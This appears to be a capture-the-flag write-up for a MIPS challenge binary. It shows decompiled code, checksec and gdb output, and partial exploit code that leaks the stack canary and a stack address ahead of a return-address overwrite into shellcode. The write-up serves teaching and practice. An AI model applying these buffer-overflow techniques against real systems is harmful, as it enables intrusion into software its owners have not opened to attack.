b # input b # output aabbbbbbbbbbbbbbbbbb # output
b # input b # output aabbbbbbbbbbbbbbbbbb # output
Apparently the program reads from stdin 10 times and prints the input.
Analyzing the binary with ghidra we can decompile the main function:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
undefined4 main(void) { int iStack80; char buf [64]; int iStack12; iStack12 = __stack_chk_guard; iStack80 = 0; while (iStack80 < 10) { read(0,buf,0x100); puts(buf); iStack80 = iStack80 + 1; } if (iStack12 != __stack_chk_guard) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return0; }
As I deduced previously the main reads our input 10 times. We can also deduce that the binary is protected with stack canaries from the __stack_chk_fail() function.
Let’s confirm the stack canaries hypothesis:
1 2 3 4 5 6 7 8
$ checksec no_risc_no_future [*] Arch: mips-32-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
And yes is using stack canaries.
Why reading 10 times and puts the input?
Well, puts prints a sequence of chars ended with \x00. We know that the stack canaries in a 32 bit machine (At least in x86) are in the form of : \x00 + (byte_random) * 3.
If we pass to the program for example 64 * "A" + "\n", the puts we’ll show us the stack canaries. :D
# Stage 1 read stack cookies # 1 Read cookie --> 64 byte, snd = Sender('local', False) snd.send('a' * 64) snd.conn.recvline() cookie = snd.conn.recvline().strip() print("cookie : " + str(cookie)) assert len(cookie) == 3# IF cookie is 32 bit and first byte is \x00
Run it:
1 2 3
$ ./exploit.py [+] Opening connection to noriscnofuture.forfuture.fluxfingers.net on port 1338: Done cookie : b'\xc2\x98\xc3'
Run another time to check that the stack canaries change every time:
1 2 3
./exploit.py [+] Opening connection to noriscnofuture.forfuture.fluxfingers.net on port 1338: Done cookie : b'\xcb\x15\x81'
Yes we are able to read the cookies.
We see that NX is disabled so a shellcode injection is possible, however we need a valid address that points to our shellcode on the stack. Let’s see if on the stack there’s a valid address that we can leak, so let’s debug the binary with gdb.
In one terminal :
$ ./qemu-mipsel-static -g 4444 no_risc_no_future
And in another one:
1 2 3 4 5 6 7 8 9
gdb-multiarch -ex "break main" -ex "target remote localhost:4444" -ex "continue" -q ./no_risc_no_future Reading symbols from ./no_risc_no_future... (No debugging symbols found in ./no_risc_no_future) Breakpoint 1 at 0x4005fc Remote debugging using localhost:4444 0x00400350 in __start () Continuing.
Breakpoint 1, 0x004005fc in main ()
Let’s disassemble the main and set a breakpoint before the puts.
Now write 63 * “A” on the executing terminal and check the stack using gdb:
We can see that our buffer starts in 0x7ffff0f0, and there’s an address on the stack which points to 0x7ffff140, so 80 bytes higher.
Now we need to leak this address, because it changes every time if the server is using ASLR, but even if it’s not using ASLR the stack space on the server might be a little bit different. Because I wanted to confirm that the addresses marked in light blue don’t change every time, I leaked them too. As far as I can tell those are data and code addresses, and because we have PIE disabled they should be the same at every execution.
./exploit.py [+] Opening connection to noriscnofuture.forfuture.fluxfingers.net on port 1338: Done cookie : b'\x95k\xe9' val2 : b'\x08@' val3 : b'\x83I' val4 : b'\xa8\x08@' val5 : b'0\xfd\xff\x7f'
In fact the leaked address which points in the stack is a bit different on the server, while the other addresses val2, val3, val4 are the same as mine, as I deduced.
Now we need to understand where the return address is located on the stack. In MIPS there’s no instruction called ret, instead the return value is stored on the register ra.
Let’s check the disassembler of the last instructions using gdb :
According to the man of the instruction lw, in ra is stored the value in memory of $sp + 100 = 0x004008e8.
Now we need to overwrite this value with a valid return address on the stack. From the leaked address (val5) we can substract 80 and obtain the starting address of our buffer.
There are various shellcode on shell-storm, this is the only that worked. The other ones didn’t work, maybe for the cache coherency problem described in this paper.